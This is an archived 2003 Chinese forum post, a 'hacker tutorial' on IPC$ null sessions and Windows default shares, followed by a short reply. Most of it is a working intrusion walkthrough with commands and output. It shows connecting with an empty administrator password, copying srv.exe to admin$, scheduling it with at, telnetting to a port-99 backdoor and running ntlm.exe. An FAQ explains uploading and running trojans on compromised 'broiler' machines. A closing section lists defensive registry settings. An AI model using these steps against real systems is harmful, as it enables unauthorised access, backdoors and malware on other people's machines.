中国网管论坛's Archiver

taylor2003 发表于 2003-8-21 11:13

黑客教程(十七)

关于ipc$、空连接和默认共享
简单说明:
首先需要指出的是空连接和ipc$是不同的概念。空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。ipc$是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限。有许多的工具必须用到ipc$。默认共享是为了方便远程管理而开放的共享,包含了所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
下面我们详解IPC$入侵方法
一、什么是IPC$漏洞

IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源

时使用。利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我

们就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能,就可以得到用户列表了,并可以配合字

典,进行密码尝试。
大家打开WIN2000自带的命令提示行,注意:这里我们不是教大家怎么破坏,只是给大家介绍这个漏洞的危害,所以下面的IP是假设的,并不存在。

C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" //这是我用流光扫到的密码~~~我们就拿它开 ,关于流光的使用可以看其本身的说明文件,已经很清楚的了!

刀吧~ 上面的意思是与127.0.0.1建立一个连接,因为我们使用流光已经扫到用户名是administrators,密码

为[空],所以第一个双引号那里不用输入什么,后面一个双引号里的是用户名,我们输入administrators//

命令成功完成。
 

首先大家先把需要用到的工具COPY的你自己的C盘下,就是在流光TOOLS中。
C:\>copy srv.exe \\127.0.0.1\admin$ //先复制srv.exe上去,在流光的Tools目录就有。(这里的ADMIN$是指ADMIN用户的c:\winnt\system32\ 大家还可以使用c$,d$这个的意思是C盘与D盘,这看你要复制到什么地方去了)
已复制 1 个文件。(成功了!*.*)

C:\>net time \\127.0.0.1 //查查时间。(这里的时间是指对方计算机的,也就是我们要入侵的127.0.0.1的时间,还有要提醒大家要注意的一点是,请把时间转换为24小时制,因为不少朋友问过我为什么启动不了服务,其实就是因为时间的问题)//
\\127.0.0.1 的当前时间是 2002/3/19 上午 11:00

命令成功完成。

C:\>at \\127.0.0.1 11:05 srv.exe //用at命令启动srv.exe吧~!(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)//
新加了一项作业,其作业 ID = 1

C:\>net time \\127.0.0.1 //再查查够时间没有?!哈! 时间到,LET'S GO FOLLOW ME !//
\\127.0.0.1 的当前时间是 2002/3/19 上午 11:05

命令成功完成。

C:\>telnet 127.0.0.1 99 //我们telnet吧,注意端口是99哦,TELNET默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的SHELL。//
//哈哈!进来了耶! 再给他加上一个ntlm
C:\>copy ntlm.exe \\127.0.0.1\admin$ //我们再开一个DOS窗口,把ntlm.exe上传到主机上。(也是在流光流光的Tools目录)
已复制 1 个文件。

C:\WINNT\system32>ntlm //我们输入ntlm启动吧。(这里的C:\WINNT\system32>指的是对方计算机,我们运行ntlm其实是让这个程序在对方计算机上运行)//
ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done! //OK了

C:\WINNT\system32>
C:\WINNT\system32>net start telnet //然后直接用net start telnet启动telnet
Telnet 服务器正在启动.
Telnet 服务器已经启动成功。\C //哈哈,我们成功了,该上去了。

第三步:我们使用TELNET到对方计算机上去
TELNET 127.0.0.1
接着输入用户名与密码就进入了

(我们已经进来了,使用方法和DOS命令是一样的)

这就是中国黑客入侵美国计算机的方法,在这之前是不是让你觉得很神秘呢?其实很简单的。不要认为这就是黑客的方法,这只能说是骇客。最后希望大家不要那这种方法来实践国内主机,否则我就成罪人了。

三、如何防范IPC$漏洞
 
看来上面的方法是不是觉得该检测一下自己是否有这个漏洞,还不赶快把这个漏洞给补上?跟我来吧,下面我们将教你如何防范IPC$的入侵
解决方法:
1、禁止建立空连接
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
RestrictAnonymous = DWORD:00000001
2、禁止管理共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer = DWORD:00000000
3.到[url]http://www.heibai.net/download/show.php?id=2194下载[/url] delshare.zip
4.如果您觉得麻烦的话这样也可以,net share ipc$ /delete 把这个放进你的启动栏里面去
5.如果上面的方法您不会的话,这个方法可以说是最简单的了。把您的密码设置复杂一下,一面被一些不怀好意的人使用工具给破出来。不过想提醒大家一点,在复杂的密码都有可能被破解
常见问题和回答:
1,怎样建立空连接,它有什么用?
答:使用命令 net use \\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。
对于NT,在默认安全设置下,借助空连接可以列举目标用户、共享,访问everyone权限的共享,访问小部分注册表等,没有什么利用价值。对2000作用就更小了。而且实现也不方便,需借助工具。如果你不理解“没用”的东西为什么还会存在,就看看“专业”的解释吧:
在NT/2000下的空连接 [url]http://www.3389.net/bbs/dispbbs.asp...D=3424&page=1:[/url]
解剖WIN2K下的空会话 [url]http://www.sandflee.net/txt/list.asp?id=117[/url]
2,为什么我连不上IPC$?
答:1,只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。
2,确认你的命令没有打错。正确的命令是: net use \\目标IP\ipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3,根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
4,关于ipc$连不上的问题比较复杂,本论坛没有总结出一个统一的认识,我在肉鸡上实验有时会得出矛盾的结论,十分棘手。
而且知道了问题所在,如果没有用其他办法获得shell,很多问题依然不能解决。问题过于细致后就不适合在本文章里探讨了。
各位看着办吧,呵呵。
3,怎样打开目标的IPC$?
答:首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马。当然,这shell必须是admin权限的。然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法)。还是不行的话(比如有防火墙,杀不了)建议放弃。
4,怎样映射和访问默认共享?
答:使用命令 net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘,其他盘类推。
如果已经和目标建立了ipc$,则可以直接用IP加盘符加$访问。比如 copy muma.exe \\IP\d$\path\muma.exe 。或者再映射也可以,只是不用用户名和密码了:net use y: \\IP\d$ 。然后 copy muma.exe y:\path\muma.exe 。当路径中包含空格时,须用""将路径全引住。
5,如何删除映射和ipc$连接?
答:用命令 net use \\IP\ipc$ /del 删除和一个目标的ipc$连接。
用命令 net use z: /del 删除映射的z盘,其他盘类推。
用命令 net use * /del 删除全部。会有提示要求按y确认。
6,连上ipc$然后我能做什么?
答:能使用管理员权限的帐号成功和目标连接ipc$,表示你可以和对方系统做深入“交流”了。你可以使用各种命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享(没开你就帮他开),你就可以上传木马并运行。也可以用tftp、ftp的办法上传。像dwrcc、VNC、RemoteAdmin等工具(木马)还具有直接控屏的功能。如果是2000server,还可以考虑开启终端服务方便控制。这里提到的工具的使用,请看自带的说明或相关教程。
7,怎样防止别人用ips$和默认共享入侵我?
答:A、一种办法是把ipc$和默认共享都删除了。但重起后还会有。这就需要改注册表。
1,先把已有的删除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有几个删几个)
2,禁止建立空连接
  首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous(DWORD)的键值改为:00000001。
  3,禁止自动打开默认共享
  对于server版,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
对于pro版,则是[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
B、另一种是关闭ipc$和默认共享依赖的服务(不推荐)
net stop lanmanserver
可能会有提示说,XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。
C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。
D、还有一个办法就是装防火墙,或者端口过滤。防火墙的方法就不说了

旧坊 发表于 2008-5-13 09:53

YCT63YCT YCT63YCT真难啊呀  高手不容易

页: [1]

Powered by Discuz! Archiver 6.1.0  © 1999-2008 bbs.bitsCN.com